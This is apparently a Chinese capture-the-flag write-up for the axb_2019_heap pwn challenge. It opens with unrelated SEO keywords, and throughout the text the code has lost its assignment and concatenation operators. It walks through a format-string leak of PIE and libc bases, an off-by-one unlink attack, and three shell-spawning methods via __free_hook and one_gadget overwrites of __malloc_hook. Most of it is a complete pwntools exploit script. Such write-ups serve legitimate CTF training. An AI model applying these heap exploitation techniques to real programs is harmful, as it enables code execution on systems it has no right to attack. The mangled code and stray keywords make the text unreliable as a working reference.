有专门做试吃的网站吗,网站备案法律法规,wordpress访问目录,青岛seo整站优化公司这道题说实话出的挺好的#xff0c;各种限制#xff0c;比如保护全开#xff0c;格式化字符串漏洞泄露pie基址和libc基址#xff0c;限制申请的堆块大小#xff0c;并且只可以额外输入一个字节的堆溢出。但是最后我也成功了完成了这个unlink攻击#xff0c;只是最后的get…这道题说实话出的挺好的各种限制比如保护全开格式化字符串漏洞泄露pie基址和libc基址限制申请的堆块大小并且只可以额外输入一个字节的堆溢出。但是最后我也成功了完成了这个unlink攻击只是最后的getshell错了一点点看了一下题解幡然醒悟并且这里我最后发现了三钟可以成功实现getshell的方法题解里面只是其中一种。接着话不多说来看一下这道题首先查看相关保护可以看到保护全开接着将文件丢入ida64里面大致看了一下发现没有show函数所以泄露libc基址就需要提供一个东西因为这里还开启了Relro,所以没有办法重写got表来实现puts函数泄露这里第6行就提供了一个东西格式化字符串漏洞所以这里我们就是去看这个参数是第几个这里直接去ubuntu里面运行查看直接./程序运行然后输入aaaaaaaa %p %p...但是这里好像有问题看了一下函数是__isoc99_scanf这个函数好像与scanf函数差不多遇到空格就直接停止了所以这里我们就不能用空格了不能用空白字符那么可以随便换一个比如.所以再次运行这里输入之后发现前4位到了偏移为7的位置然后后四位到了偏移为8的位置所以这里我们可以先输入4字节来写入偏移为7的高四位接下来就是偏移为8了可以看到这下我们输入的就到偏移为8了这个前面4字节的填充在使用fmtstr_payload这个函数的时候很重要因为它恰好需要一个准确的偏移所以我们就可以通过先写入4字节然后设置偏移为8不可控字节数为4接着就可以在任意地址写入任意值了不过这里我们的目的是找到能够泄露pie基址和libc基址的偏移所以这里就可以开始调试了直接gdb ./axb_2019_heap然后b main下一个断点接着直接r运行然后一直ni运行到我们格式化字符串漏洞函数的位置这里si进入然后一直ni运行到输入这里继续ni就会换行让我们输入这里输入bbbbaaaaaaaa回车之后stack 30查看栈结构可以看到这里aaaaaaaa的内容前面我们知道这个偏移为8所以后面的main28的偏移为11这个内容可以泄露pie的基址然后后面libc_start_main的偏移为15这个可以泄露libc基址这里泄露pie基址用那个libc_csu_init也可以泄露反正就是减去对应的偏移即可。这里就用这个main28来泄露pie基址吧所以这里就可以得到如下的一个格式化字符串%11$p.%15$p然后就可以写出这样的一部分exppayloadb%11$pb*b%15$p r.sendline(payload) r.recvuntil(bEnter your name: Hello, ) libc_csuint(r.recv(14).decode(),16) pie_addrlibc_csu-0x116A-28 print(hex(pie_addr)) r.recv(1) libc_mainint(r.recv(14),16) libc.addresslibc_main-libc.symbols[__libc_start_main]-240 print(hex(libc.address))这里pie基址如果我们用那个csu的话就是偏移为14然后建议csu_init的偏移最后运行成功泄露接着我们继续往后分析首先看到add函数这个函数就是我们先选一个下标然后输入一个size接着就是输入内容接着看一下这个get_input函数这里存在off by one的漏洞能够额外多写入一个字节不过这里申请的时候应该不用接着看一下释放函数这个是一个非常安全的释放函数没用什么问题接着看到最后的edit函数这个函数也是用get_input所以这里可以额外多写入一个字节接着为这些函数写一些辅助函数def menu(choice): r.recvuntil(b ) r.sendline(str(choice).encode()) def add(index,size,content): menu(1) r.recvuntil(bEnter the index you want to create (0-10):) r.sendline(str(index).encode()) r.recvuntil(bEnter a size:\n) r.sendline(str(size).encode()) r.recvuntil(bEnter the content: \n) r.sendline(content) def edit(index, content): menu(4) r.recvuntil(bEnter an index:\n) r.sendline(str(index).encode()) r.recvuntil(bEnter the content: \n) r.sendline(content) def free(index): menu(2) r.recvuntil(bEnter an index:\n) r.sendline(str(index).encode())然后继续分析这里我们申请的chunk必须大于0x80,所以fast bin攻击就无法实现接着又不存在uaf漏洞fast bin三重释放攻击也不行最后思来想去unlink攻击好像可以用因为地址开启了pie,所以堆块地址需要加上pie基址接着再进行构造payload最后可以得到如下攻击脚本:list0x202060pie_addr add(0,0x88,bgaohsou) add(1,0xf8,bgaoshou) payloadp64(0)p64(0x81)p64(list-0x18)p64(list-0x10)ba*0x60p64(0x80) edit(0,payload) add(2,0x88,b/bin/sh\x00) free(1) #地址变成了list-0x18然后这个时候进行修改这里首先申请一个堆块用于unlink,这个堆块下标为0所以地址就是list首地址然后再申请一个堆块用来进行触发对前一个堆块的unlink操作这个payload就是构造了一个0x81大小的假chunk,然后设置fd和bk,接着将下一个chunk的prev_size设置为0x80因为这个假chunk的size为0x81然后将下一个chunk的低位设置为0也就是将1变成0表示前面的chunk已经释放了最后释放1从而触发对前一个chunk的unlink操作这里注意一下我前面edit函数最后发生payload用的是sendline这个会发送一个换行符然后这个get_input函数里面遇到换行符会将这个换行符变成0也就是字符串结束符从而将低位的1变成0这里也可以最后添加一个\x00也可以实现相同的作用这里最后实现的效果就是将堆块0的地址变成了list-0x18然后这里先填充0x18字节最后就可以随意更改堆块0的地址了这里我研究出了三种getshell的办法首先看到第一种payload1ba*0x18p64(libc.symbols[__free_hook])p64(0x88) edit(0,payload1) edit(0,p64(libc.symbols[system])) free(2)这里将free_hook改为了system函数然后free()函数触发free_hook,而free_hook变成了system函数所以就会直接触发system函数然后这里下标为2的内容是/bin/sh\x00从而触发system(/bin/sh\x00)。从而getshell可以看到可以cat flag。然后接着看到第二种方法 0x45216 execve(/bin/sh, rsp0x30, environ) constraints: rax NULL 0x4526a execve(/bin/sh, rsp0x30, environ) constraints: [rsp0x30] NULL 0xf02a4 execve(/bin/sh, rsp0x50, environ) constraints: [rsp0x50] NULL 0xf1147 execve(/bin/sh, rsp0x70, environ) constraints: [rsp0x70] NULL one_gadget结果 payload1ba*0x18p64(libc.symbols[__malloc_hook])p64(0x88) edit(0,payload1) # malloc_hook onegedgetlibc.address0xf1147 edit(0,p64(onegedget)) add(0,160,b)这个方法是在malloc_hook里面写入one_gadget也就是execve(/bin/sh,...)这个函数所以这里需要注意我们add触发malloc_hook的时候不能改变它第一个参数也就是这个申请的chunk的内容要么为空要么是/bin/sh\x00。这个是满足了rsp0x70的值刚好为0所以这个one_gadget可以实现攻击然后最后一种方法是payload1ba*0x18p64(libc.symbols[__malloc_hook])p64(0x88) edit(0,payload1) onpayload1ba*0x18p64(libc.symbols[__malloc_hook])p64(0x88) edit(0,payload1)egadgetlibc.address0xf02a4 edit(0,p64(onegedget)) free(0)这个方法是通过free函数触发报错然后栈布局重新排布然后满足rsp0x50的位置为0从而实现攻击。这里释放的一般是地址为malloc_hook相关的堆块这里因为我们将第一个堆块地址改为了malloc_hook所以就是释放这个最后完整的poc如下from pwn import * from LibcSearcher import LibcSearcher # context.log_leveldebug context.archamd64 # context.oslinux def menu(choice): r.recvuntil(b ) r.sendline(str(choice).encode()) def add(index,size,content): menu(1) r.recvuntil(bEnter the index you want to create (0-10):) r.sendline(str(index).encode()) r.recvuntil(bEnter a size:\n) r.sendline(str(size).encode()) r.recvuntil(bEnter the content: \n) r.sendline(content) def edit(index, content): menu(4) r.recvuntil(bEnter an index:\n) r.sendline(str(index).encode()) # r.recvuntil(bPlease enter the length of item name:) # r.sendline(str(size).encode()) r.recvuntil(bEnter the content: \n) r.sendline(content) def free(index): menu(2) r.recvuntil(bEnter an index:\n) r.sendline(str(index).encode()) r remote(node5.buuoj.cn, 28523) # libcELF(rC:\Users\lezho\Desktop\My_CTF\PWN!!!\libc库\buuctf-i386\libc-2.23.so) libcELF(rC:\Users\lezho\Desktop\My_CTF\PWN!!!\libc库\buuctf-amd64\libc-2.23.so) elfELF(rC:\Users\lezho\Desktop\misc\axb_2019_heap) payloadb%11$pb*b%15$p r.sendline(payload) r.recvuntil(bEnter your name: Hello, ) libc_csuint(r.recv(14).decode(),16) pie_addrlibc_csu-0x116A-28 print(hex(pie_addr)) r.recv(1) libc_mainint(r.recv(14),16) libc.addresslibc_main-libc.symbols[__libc_start_main]-240 print(hex(libc.address)) list0x202060pie_addr add(0,0x88,bgaohsou) add(1,0xf8,bgaoshou) payloadp64(0)p64(0x81)p64(list-0x18)p64(list-0x10)ba*0x60p64(0x80) edit(0,payload) add(2,0x88,b/bin/sh\x00) free(1) #地址变成了list-0x18然后这个时候进行修改 # 方法1 # payload1ba*0x18p64(libc.symbols[__free_hook])p64(0x88) # edit(0,payload1) # edit(0,p64(libc.symbols[system])) # free(2) 0x45216 execve(/bin/sh, rsp0x30, environ) constraints: rax NULL 0x4526a execve(/bin/sh, rsp0x30, environ) constraints: [rsp0x30] NULL 0xf02a4 execve(/bin/sh, rsp0x50, environ) constraints: [rsp0x50] NULL 0xf1147 execve(/bin/sh, rsp0x70, environ) constraints: [rsp0x70] NULL # 方法2 payload1ba*0x18p64(libc.symbols[__malloc_hook])p64(0x88) edit(0,payload1) # malloc_hook onegedgetlibc.address0xf1147 edit(0,p64(onegedget)) add(0,160,b) #方法3 # onegadgetlibc.address0xf02a4 # edit(0,p64(onegedget)) # free(0) r.interactive()一共三种方法前面我失败的原因就是因为在edit的时候只是覆盖了堆块地址为malloc_hook而没有考虑到换行符变成0将这个堆块的大小变成了0从而根本写不了内容所以这里就还需要写一下堆块的大小。